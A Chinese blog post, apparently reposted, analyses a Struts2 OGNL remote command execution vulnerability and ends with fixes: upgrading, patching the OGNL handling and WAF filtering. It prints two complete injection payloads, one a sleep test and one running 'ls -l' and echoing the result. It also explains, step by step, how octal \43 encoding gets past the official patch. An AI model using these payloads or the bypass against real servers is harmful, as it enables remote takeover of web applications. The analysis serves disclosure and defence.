Struts2远程命令执行漏洞分析及防范

[size=large]近期Struts2爆发了一远程命令执行漏洞,知道wooyun的童鞋应该清楚其危害性和火爆程度,各种版本的漏洞利用工具让CNVD非常的蛋疼.下面贴出wooyun livers大大针对此漏洞的分析.



以POST的方式提交绕过对输入参数的部分过滤。



('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(8000)')(d))

当前线程sleep 8S

命令执行主要是通过ognl对象的上下文内置静态函数进行执行的。

如@Runtime@getRuntime().exec

@class@method 访问静态方法

xwork 的ognl语句 执行,变量必须要带有#,之前通过\0023 (16进制的#) 来绕过,官方补丁屏蔽了这种但是可以利用\43(8进制的#)进行绕过。



实现交互的shell.

('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'ls\40\u002dl\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))



\75 (=的8进制)\40(空格的8进制) ongl语句中执行的参数不允许出现空格。当然包括其他

老版本的正则 是^#=:都不允许,通杀的话是用\40来替代。



这样上面就是

1.设置上下文denyMethodExecution=false 运行方法执行

2.excludeProperties=@java.util.Collections@EMPTY_SET (@class@调用静态变量)

设置外部拦截器为空

3.mycmd=“ls -l” 定义我们的执行命令的变量

4.myret=@java.lang.Runtime@getRuntime().exec(\43mycmd)') (调用静态方法执行我们的变量)

5.mydat=new java.io.DataInputStream(\43myret.getInputStream())') 获取输入流 (post)

6.myres=new data[51020];mydat.readfully(myres); 读取输入流

(5,6为了转换输入流的类型)

7.mystr=new java.lang.String(#myres) ;定义并赋值输入流

8.myout=org.apache.struts2.ServletActionContext@getResponse() ;得到repsonse的数据

9.myout.getWriter().println(#mystr) ;把response的数据打印到屏幕上。



另外再贴一下wooyun关于此struts2漏洞的讨论帖子的Url:http://zone.wooyun.org/content/200



livers大大的blog:http://livers.sinaapp.com/



Struts2漏洞修复方案:



下载最新的版本2.3.4 :http://struts.apache.org/download.cgi#struts234



或者修改对应jar中的ongl处理逻辑,然后编译打包替换旧的文件。



waf之类的,安全点就只保留字母数字,其它的全部删除
[/size]
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值